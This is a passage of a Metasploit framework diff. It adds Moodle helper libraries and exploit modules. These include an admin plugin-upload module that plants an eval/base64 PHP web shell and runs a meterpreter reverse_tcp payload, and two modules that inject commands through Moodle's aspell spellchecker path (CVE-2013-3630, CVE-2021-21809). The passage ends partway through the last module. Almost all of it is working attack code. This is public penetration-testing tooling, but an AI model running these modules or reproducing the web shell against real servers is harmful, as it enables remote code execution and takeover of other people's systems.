||||
|
||||
# obtains the enrolid from an enrolled course
|
||||
#
|
||||
# @param course_id [String] ID of the course
|
||||
# @return [String,nil] the enrolid for the course, nil otherwise
|
||||
def get_course_enrol_id(course_id)
|
||||
res = send_request_cgi({
|
||||
'uri' => moodle_user_home,
|
||||
'vars_get' => {
|
||||
'id' => course_id
|
||||
},
|
||||
'keep_cookies' => true
|
||||
})
|
||||
return nil unless res
|
||||
|
||||
res.body =~ /name="enrolid" value="(.*?)"/
|
||||
Regexp.last_match(1)
|
||||
end
|
||||
|
||||
# obtains the contextid from an enrolled course
|
||||
#
|
||||
# @param course_id [String] ID of the course
|
||||
# @return [String,nil] the contextid for the course, nil otherwise
|
||||
def get_course_context_id(course_id)
|
||||
res = send_request_cgi({
|
||||
'uri' => moodle_user_home,
|
||||
'vars_get' => {
|
||||
'id' => course_id
|
||||
},
|
||||
'keep_cookies' => true
|
||||
})
|
||||
return nil unless res
|
||||
|
||||
res.body =~ /contextid=(\d*)"/
|
||||
Regexp.last_match(1)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,63 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Moodle::Helpers
|
||||
# Helper methods are private and should not be called by modules
|
||||
|
||||
private
|
||||
|
||||
# Returns the POST data for a Moodle login request
|
||||
#
|
||||
# @param user [String] Username
|
||||
# @param pass [String] Password
|
||||
# @param token [String] login token
|
||||
# @return [Hash] The post data for vars_post Parameter
|
||||
def moodle_helper_login_post_data(user, pass, token)
|
||||
post_data = {
|
||||
'username' => user.to_s,
|
||||
'password' => pass.to_s,
|
||||
'logintoken' => token.to_s,
|
||||
'anchor' => ''
|
||||
}
|
||||
post_data
|
||||
end
|
||||
|
||||
# Returns the GET data for a Moodle loginas request
|
||||
#
|
||||
# @param course_id [String] ID of the course the user is registered in
|
||||
# @param user_id [String] User ID of the user to impersonate
|
||||
# @param session_key [String] session key for the current session
|
||||
# @return [Hash] The get data for vars_get Parameter
|
||||
def moodle_helper_loginas_get_data(course_id, user_id, session_key)
|
||||
get_data = {
|
||||
'id' => course_id,
|
||||
'user' => user_id,
|
||||
'sesskey' => session_key
|
||||
}
|
||||
get_data
|
||||
end
|
||||
|
||||
# Returns the GET data for a Moodle Course Enrollment request
|
||||
#
|
||||
# @param user_id [String] ID of the user to enrol
|
||||
# @param course_id [String] ID of the course to enrol in
|
||||
# @param enrol_id [String] ID of the enrolment
|
||||
# @param sess_key [String] session key
|
||||
# @param role [String] Optional value of the role. 1 is default and manager, 5 is student
|
||||
# @return [Hash] The get data for vars_get Parameter
|
||||
def moodle_helper_enrol_get_data(user_id, course_id, enrol_id, sess_key, role = '1')
|
||||
get_data = {
|
||||
'mform_showmore_main' => '0',
|
||||
'id' => course_id,
|
||||
'action' => 'enrol',
|
||||
'enrolid' => enrol_id,
|
||||
'sesskey' => sess_key,
|
||||
'_qf__enrol_manual_enrol_users_form' => '1',
|
||||
'mform_showmore_id_main' => '0',
|
||||
'userlist[]' => user_id,
|
||||
'roletoassign' => role,
|
||||
'startdate' => '4',
|
||||
'duration' => ''
|
||||
}
|
||||
get_data
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,63 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Moodle::Login
|
||||
# performs a moodle login
|
||||
#
|
||||
# @param user [String] Username
|
||||
# @param pass [String] Password
|
||||
# @param timeout [Integer] The maximum number of seconds to wait before the request times out
|
||||
# @return [HttpCookie,nil] the session cookies as a single string on successful login, nil otherwise
|
||||
def moodle_login(user, pass, timeout = 20)
|
||||
res = send_request_cgi({
|
||||
'uri' => moodle_url_login,
|
||||
'keep_cookies' => true
|
||||
}, timeout)
|
||||
return nil unless res
|
||||
|
||||
res.body =~ /name="logintoken" value="([^"]+)">/
|
||||
|
||||
res = send_request_cgi!({
|
||||
'method' => 'POST',
|
||||
'uri' => moodle_url_login,
|
||||
'vars_post' => moodle_helper_login_post_data(user, pass, Regexp.last_match(1)),
|
||||
'keep_cookies' => true
|
||||
}, timeout, 20) # typical redirect is 3-5, but it may do more if caching gets messed up on server
|
||||
|
||||
if !res || (res.code != 200) || !res.body.include?('<title>Dashboard</title>')
|
||||
return nil
|
||||
end
|
||||
|
||||
cookies = cookie_jar.cookies
|
||||
cookie_jar.clear
|
||||
store_valid_credential(user: user, private: pass)
|
||||
return cookies
|
||||
end
|
||||
|
||||
# performs a loginas moodle account impersonation
|
||||
#
|
||||
# @param course_id [String] ID of the course the user is registered in
|
||||
# @param user_id [String] User ID of the user to impersonate
|
||||
# @param session_key [String] session key for the current session
|
||||
# @return [HttpResponse,nil] the HttpResponse object on successful impersonation, nil otherwise
|
||||
def moodle_loginas(course_id, user_id, session_key, timeout = 20)
|
||||
res = send_request_cgi({
|
||||
'uri' => moodle_url_loginas,
|
||||
'vars_get' => moodle_helper_loginas_get_data(course_id, user_id, session_key),
|
||||
'keep_cookies' => true
|
||||
}, timeout)
|
||||
return nil unless res
|
||||
|
||||
# click the 'continue' button
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'course', 'view.php'),
|
||||
'vars_get' =>
|
||||
{
|
||||
'id' => course_id
|
||||
},
|
||||
'keep_cookies' => true
|
||||
})
|
||||
return nil unless res
|
||||
|
||||
res
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,45 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Moodle::URIs
|
||||
# Returns the Moodle Login URL
|
||||
#
|
||||
# @return [String] Moodle Login URL
|
||||
def moodle_url_login
|
||||
normalize_uri(target_uri.path, 'login', 'index.php')
|
||||
end
|
||||
|
||||
# Returns the Moodle Loginas URL
|
||||
#
|
||||
# @return [String] Moodle Login URL
|
||||
def moodle_url_loginas
|
||||
normalize_uri(target_uri.path, 'course', 'loginas.php')
|
||||
end
|
||||
|
||||
# Returns the Moodle AJAX Course Enrollment URL
|
||||
#
|
||||
# @return [String] Moodle AJAX course enrolment URL
|
||||
def moodle_enrol_ajax
|
||||
normalize_uri(target_uri.path, 'enrol', 'manual', 'ajax.php')
|
||||
end
|
||||
|
||||
# Returns the Moodle Ajax Service URL
|
||||
#
|
||||
# @return [String] Moodle Ajax Service URL
|
||||
def moodle_ajax_service
|
||||
normalize_uri(target_uri.path, 'lib', 'ajax', 'service.php')
|
||||
end
|
||||
|
||||
# Returns the Moodle User Home URL
|
||||
#
|
||||
# @return [String] Moodle User Home URL
|
||||
def moodle_user_home
|
||||
normalize_uri(target_uri.path, 'user', 'index.php')
|
||||
end
|
||||
|
||||
# Returns the Moodle Admin Addon Installation URL
|
||||
#
|
||||
# @return [String] Moodle admin addon installation URL
|
||||
def moodle_admin_addon_install
|
||||
normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php')
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,30 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Moodle::Version
|
||||
# Used to check if the version is correct: must contain at least one dot
|
||||
MOODLE_VERSION_PATTERN = '(\d+\.\d+(?:\.\d+)*)'
|
||||
|
||||
# Extracts the Moodle version information from various sources
|
||||
#
|
||||
# @return [String,nil] moodle version if found, nil otherwise
|
||||
def moodle_version
|
||||
# detect version from /lib/upgrade.txt
|
||||
version = moodle_version_helper(normalize_uri(target_uri.path, 'lib', 'upgrade.txt'), /=== #{MOODLE_VERSION_PATTERN} ===/i)
|
||||
return version if version
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def moodle_version_helper(url, regex)
|
||||
res = send_request_cgi!({
|
||||
'method' => 'GET',
|
||||
'uri' => url
|
||||
}, 3.5)
|
||||
if res
|
||||
match = res.body.match(regex)
|
||||
return match[1] if match
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,140 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HTTP::Moodle
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Moodle Admin Shell Upload',
|
||||
'Description' => %q{
|
||||
This module will generate a plugin which can receive a malicious
|
||||
payload request and upload it to a server running Moodle
|
||||
provided valid admin credentials are used. Then the payload
|
||||
is sent for execution, and the plugin uninstalled.
|
||||
|
||||
You must have an admin account to exploit this vulnerability.
|
||||
|
||||
Successfully tested against 3.6.3, 3.8.0, 3.9.0, 3.10.0, 3.11.2
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
|
||||
'h00die' # msf module cleanup and inclusion
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'http://pentest.com.tr/exploits/Moodle-3-6-3-Install-Plugin-Remote-Command-Execution.html'],
|
||||
['EDB', '46775'],
|
||||
['CVE', '2019-11631'] # rejected, its a feature!
|
||||
],
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [['Automatic', {}]],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '2019-04-28',
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' },
|
||||
'Payload' => {
|
||||
'BadChars' => "'",
|
||||
'Space' => 6070 # apache default is 8196, but 35% overhead for base64 encoding
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [true, 'Admin username to authenticate with', 'admin']),
|
||||
OptString.new('PASSWORD', [false, 'Admin password to authenticate with', ''])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def create_addon_file
|
||||
# There are syntax errors in creating zip file. So the payload was sent as base64.
|
||||
plugin_file = Rex::Zip::Archive.new
|
||||
header = Rex::Text.rand_text_alpha_upper(4)
|
||||
plugin_name = Rex::Text.rand_text_alpha_lower(8)
|
||||
|
||||
print_status("Creating plugin named: #{plugin_name} with poisoned header: #{header}")
|
||||
|
||||
path = "#{plugin_name}/version.php"
|
||||
path2 = "#{plugin_name}/lang/en/theme_#{plugin_name}.php"
|
||||
# "$plugin->version" and "$plugin->component" contents are required to accept Moodle plugin.
|
||||
plugin_file.add_file(path, "<?php $plugin->version = #{Time.now.to_time.to_i}; $plugin->component = 'theme_#{plugin_name}';")
|
||||
plugin_file.add_file(path2, "<?php eval(base64_decode($_SERVER['HTTP_#{header}'])); ?>")
|
||||
# plugin_file.add_file(path2, "<?php #{payload.encoded}) ?>")
|
||||
return plugin_file.pack, header, plugin_name
|
||||
end
|
||||
|
||||
def exec_code(plugin_name, header)
|
||||
# Base64 was encoded in "PHP". This process was sent as "HTTP headers".
|
||||
print_status('Triggering payload')
|
||||
send_request_cgi({
|
||||
'keep_cookies' => true,
|
||||
'uri' => normalize_uri(target_uri.path, 'theme', plugin_name, 'lang', 'en', "theme_#{plugin_name}.php"),
|
||||
'raw_headers' => "#{header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
|
||||
})
|
||||
end
|
||||
|
||||
def check
|
||||
v = moodle_version
|
||||
return CheckCode::Detected('Unable to determine moodle version') if v.nil?
|
||||
|
||||
# This is a feature, not a vuln, so we assume this to work on 3.0.0+
|
||||
# assuming the plugin arch changed before that.
|
||||
# > 3.0, < 3.9
|
||||
version = Rex::Version.new(v)
|
||||
if version > Rex::Version.new('3.0.0')
|
||||
return CheckCode::Appears("Exploitable Moodle version #{v} detected")
|
||||
end
|
||||
|
||||
CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
|
||||
end
|
||||
|
||||
def exploit
|
||||
v = moodle_version
|
||||
fail_with(Failure::NoTarget, 'Unable to determine moodle version') if v.nil?
|
||||
|
||||
version = Rex::Version.new(v)
|
||||
print_status("Authenticating as user: #{datastore['USERNAME']}")
|
||||
cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty?
|
||||
cookies.each do |cookie|
|
||||
cookie_jar.add(cookie)
|
||||
end
|
||||
|
||||
print_good("Authentication was successful with user: #{datastore['USERNAME']}")
|
||||
print_status('Creating addon file')
|
||||
addon_content, header, addon_name = create_addon_file
|
||||
print_status('Uploading addon')
|
||||
file_id, sesskey = upload_addon(addon_name, version, addon_content)
|
||||
fail_with(Failure::NoAccess, 'Unable to upload addon. Make sure you are able to upload plugins with current permissions') if file_id.nil?
|
||||
print_good('Upload Successful. Integrating addon')
|
||||
ret = plugin_integration(sesskey, file_id, addon_name)
|
||||
if ret.nil?
|
||||
fail_with(Failure::NoAccess, 'Install not successful')
|
||||
end
|
||||
exec_code(addon_name, header)
|
||||
print_status('Uninstalling plugin after 5 second delay so payload can change directories')
|
||||
sleep(5)
|
||||
remove_plugin("theme_#{addon_name}", version, sesskey)
|
||||
end
|
||||
|
||||
def on_new_session(_)
|
||||
print_good('You will need to change directories on meterpreter to get full functionality. Try: cd /tmp')
|
||||
end
|
||||
end
|
||||
@@ -1,155 +0,0 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'rexml/document'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Moodle Remote Command Execution',
|
||||
'Description' => %q{
|
||||
Moodle allows an authenticated user to define spellcheck settings via the web interface.
|
||||
The user can update the spellcheck mechanism to point to a system-installed aspell binary.
|
||||
By updating the path for the spellchecker to an arbitrary command, an attacker can run
|
||||
arbitrary commands in the context of the web application upon spellchecking requests.
|
||||
|
||||
This module also allows an attacker to leverage another privilege escalation vuln.
|
||||
Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey
|
||||
and use this to escalate privileges to that of an admin, allowing the module to pop a shell
|
||||
as a previously unprivileged authenticated user.
|
||||
|
||||
This module was tested against Moodle version 2.5.2 and 2.2.3.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2013-3630'],
|
||||
['EDB', '28174'], #xss vuln allowing sesskey of admins to be stolen
|
||||
['URL', 'https://blog.rapid7.com/2013/10/30/seven-tricks-and-treats']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic perl ruby telnet python',
|
||||
}
|
||||
},
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [['Automatic',{}]],
|
||||
'DisclosureDate' => '2013-10-30',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
|
||||
OptString.new('PASSWORD', [ true, "Password to authenticate with", '']),
|
||||
OptString.new('SESSKEY', [ false, "The session key of the user to impersonate", ""]),
|
||||
OptString.new('TARGETURI', [ true, "The URI of the Moodle installation", '/moodle/'])
|
||||
])
|
||||
end
|
||||
|
||||
def exploit
|
||||
init = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/index.php')
|
||||
})
|
||||
|
||||
fail_with(Failure::Unreachable, 'No response received from the target.') unless init
|
||||
sess = init.get_cookies
|
||||
|
||||
post = {
|
||||
'username' => datastore["USERNAME"],
|
||||
'password' => datastore["PASSWORD"]
|
||||
}
|
||||
|
||||
print_status("Authenticating as user: " << datastore["USERNAME"])
|
||||
|
||||
login = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/login/index.php'),
|
||||
'vars_post' => post,
|
||||
'cookie' => sess
|
||||
})
|
||||
|
||||
if !login or login.code != 303
|
||||
fail_with(Failure::NoAccess, "Login failed")
|
||||
end
|
||||
|
||||
sess = login.get_cookies
|
||||
|
||||
print_status("Getting session key to update spellchecker if no session key was specified")
|
||||
|
||||
sesskey = ''
|
||||
if datastore['SESSKEY'] == ''
|
||||
tinymce = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/admin/settings.php') + '?section=editorsettingstinymce',
|
||||
'cookie' => sess
|
||||
})
|
||||
|
||||
sesskey = tinymce.get_hidden_inputs[1]['sesskey']
|
||||
unless sesskey
|
||||
fail_with(Failure::UnexpectedReply, "Unable to get proper session key")
|
||||
end
|
||||
else
|
||||
sesskey = datastore['SESSKEY']
|
||||
end
|
||||
|
||||
post = {
|
||||
'section' => 'editorsettingstinymce',
|
||||
'sesskey' => sesskey,
|
||||
'return' => '',
|
||||
's_editor_tinymce_spellengine' => 'PSpellShell',
|
||||
's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv'
|
||||
}
|
||||
|
||||
print_status("Updating spellchecker to use the system aspell")
|
||||
|
||||
post = {
|
||||
'section' => 'systempaths',
|
||||
'sesskey' => sesskey,
|
||||
'return' => '',
|
||||
's__gdversion' => '2',
|
||||
's__pathtodu' => '/usr/bin/du',
|
||||
's__aspellpath' => payload.encoded,
|
||||
's__pathtodot' => ''
|
||||
}
|
||||
|
||||
aspell = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/admin/settings.php'),
|
||||
'vars_post' => post,
|
||||
'cookie' => sess
|
||||
})
|
||||
|
||||
spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'
|
||||
|
||||
print_status("Triggering payload")
|
||||
|
||||
resp = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php'),
|
||||
'data' => spellcheck,
|
||||
'ctype' => 'application/json',
|
||||
'cookie' => sess
|
||||
})
|
||||
|
||||
if !resp or resp.code != 200
|
||||
fail_with(Failure::PayloadFailed, "Error triggering payload")
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,174 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'rexml/document'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HTTP::Moodle
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Moodle Authenticated Spelling Binary RCE',
|
||||
'Description' => %q{
|
||||
Moodle allows an authenticated user to define spellcheck settings via the web interface.
|
||||
The user can update the spellcheck mechanism to point to a system-installed aspell binary.
|
||||
By updating the path for the spellchecker to an arbitrary command, an attacker can run
|
||||
arbitrary commands in the context of the web application upon spellchecking requests.
|
||||
|
||||
This module also allows an attacker to leverage another privilege escalation vuln.
|
||||
Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey
|
||||
and use this to escalate privileges to that of an admin, allowing the module to pop a shell
|
||||
as a previously unprivileged authenticated user.
|
||||
|
||||
This module was tested against Moodle version 2.5.2 and 2.2.3.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2013-3630'],
|
||||
['CVE', '2013-4341'], # XSS
|
||||
['EDB', '28174'], # xss vuln allowing sesskey of admins to be stolen
|
||||
['URL', 'https://blog.rapid7.com/2013/10/30/seven-tricks-and-treats']
|
||||
],
|
||||
'Payload' => {
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic perl ruby telnet python'
|
||||
}
|
||||
},
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [['Automatic', {}]],
|
||||
'DisclosureDate' => '2013-10-30',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),
|
||||
OptString.new('PASSWORD', [ true, 'Password to authenticate with', '']),
|
||||
OptString.new('SESSKEY', [ false, 'The session key of the user to impersonate', '']),
|
||||
OptString.new('TARGETURI', [ true, 'The URI of the Moodle installation', '/moodle/'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online?
|
||||
|
||||
v = moodle_version
|
||||
return CheckCode::Detected('Unable to determine moodle version') if v.nil?
|
||||
if Rex::Version.new(v) <= Rex::Version.new('2.5.2')
|
||||
return CheckCode::Appears("Exploitable Moodle version #{v} detected")
|
||||
end
|
||||
|
||||
CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
|
||||
end
|
||||
|
||||
def exploit
|
||||
init = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'keep_cookies' => true
|
||||
})
|
||||
|
||||
fail_with(Failure::Unreachable, 'No response received from the target.') unless init
|
||||
|
||||
print_status('Authenticating as user: ' << datastore['USERNAME'])
|
||||
|
||||
# don't use the lib version of the login since this is older and has different parameters
|
||||
login = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'login', 'index.php'),
|
||||
'vars_post' => {
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD']
|
||||
},
|
||||
'keep_cookies' => true
|
||||
})
|
||||
|
||||
if !login || (login.code != 303)
|
||||
fail_with(Failure::NoAccess, 'Login failed')
|
||||
end
|
||||
|
||||
print_status('Getting session key to update spellchecker if no session key was specified')
|
||||
|
||||
sesskey = ''
|
||||
if datastore['SESSKEY'] == ''
|
||||
tinymce = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
|
||||
'vars_get' => {
|
||||
'section' => 'editorsettingstinymce'
|
||||
},
|
||||
'keep_cookies' => true
|
||||
})
|
||||
|
||||
sesskey = tinymce.get_hidden_inputs[1]['sesskey']
|
||||
unless sesskey
|
||||
fail_with(Failure::UnexpectedReply, 'Unable to get proper session key')
|
||||
end
|
||||
else
|
||||
sesskey = datastore['SESSKEY']
|
||||
end
|
||||
|
||||
# This looks unused, and in CVE-2021-21809 we set this as well, going to leave it here for the
|
||||
# time being since it may be the default, or it may just need a send_request_cgi added to actually
|
||||
# accomplish the goal.
|
||||
# post = {
|
||||
# 'section' => 'editorsettingstinymce',
|
||||
# 'sesskey' => sesskey,
|
||||
# 'return' => '',
|
||||
# 's_editor_tinymce_spellengine' => 'PSpellShell',
|
||||
# 's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv'
|
||||
# }
|
||||
|
||||
print_status('Updating spellchecker to use the system aspell')
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/admin/settings.php'),
|
||||
'vars_post' => {
|
||||
'section' => 'systempaths',
|
||||
'sesskey' => sesskey,
|
||||
'return' => '',
|
||||
's__gdversion' => '2',
|
||||
's__pathtodu' => '/usr/bin/du',
|
||||
's__aspellpath' => payload.encoded,
|
||||
's__pathtodot' => ''
|
||||
},
|
||||
'keep_cookies' => true
|
||||
})
|
||||
|
||||
spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'
|
||||
|
||||
print_status('Triggering payload')
|
||||
|
||||
resp = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'lib', 'editor', 'tinymce', 'tiny_mce', '3.4.9', 'plugins', 'spellchecker', 'rpc.php'),
|
||||
'data' => spellcheck,
|
||||
'ctype' => 'application/json',
|
||||
'keep_cookies' => true
|
||||
})
|
||||
|
||||
if !resp || (resp.code != 200)
|
||||
fail_with(Failure::PayloadFailed, 'Error triggering payload')
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,190 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HTTP::Moodle
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Moodle SpellChecker Path Authenticated Remote Command Execution',
|
||||
'Description' => %q{
|
||||
Moodle allows an authenticated administrator to define spellcheck settings via the web interface.
|
||||
An administrator can update the aspell path to include a command injection. This is extremely
|
||||
similar to CVE-2013-3630, just using a different variable.
|
||||
|
||||
This module was tested against Moodle version 3.11.2, 3.10.0, and 3.8.0.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Adam Reiser', # Discovery
|
||||
'h00die' # msf module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2021-21809'],
|
||||
['URL', 'https://talosintelligence.com/vulnerability_reports/TALOS-2021-1277']
|
||||
],
|
||||
'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' },
|
||||
'Payload' => {
|
||||
'BadChars' => "'"
|
||||
},
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [['Automatic', {}]],
|
||||
'DisclosureDate' => '2021-06-22',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),
|
||||
OptString.new('PASSWORD', [ true, 'Password to authenticate with', '']),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def change_aspellpath(value = '')
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
|
||||
'vars_get' =>
|
||||
{
|
||||
'section' => 'systempaths'
|
||||
},
|
||||
'keep_cookies' => true
|
||||
})
|
||||
fail_with(Failure::Unreachable, 'Error retrieving settings') unless res
|
||||
res.body =~ /sesskey":"([^"]+)"/
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
|
||||
'vars_get' =>
|
||||
{
|
||||
'section' => 'systempaths'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'section' => 'systempaths',
|
||||
'action' => 'save-settings',
|
||||
'sesskey' => Regexp.last_match(1),
|
||||
'return' => '',
|
||||
's__pathtophp' => '',
|
||||
's__pathtodu' => '',
|
||||
's__aspellpath' => value,
|
||||
's__pathtodot' => '',
|
||||
's__pathtogs' => '/usr/bin/gs',
|
||||
's__pathtopython' => ''
|
||||
},
|
||||
'keep_cookies' => true
|
||||
})
|
||||
end
|
||||
|
||||
def set_spellchecker(checker = '')
|
||||
# '' is None in the gui, and is the default
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
|
||||
'vars_get' =>
|
||||
{
|
||||
'section' => 'tinymcespellcheckersettings'
|
||||
},
|
||||
'keep_cookies' => true
|
||||
})
|
||||
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
|
||||
res.body =~ /sesskey":"([^"]+)"/
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
|
||||
'vars_get' =>
|
||||
{
|
||||
'section' => 'tinymcespellcheckersettings'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
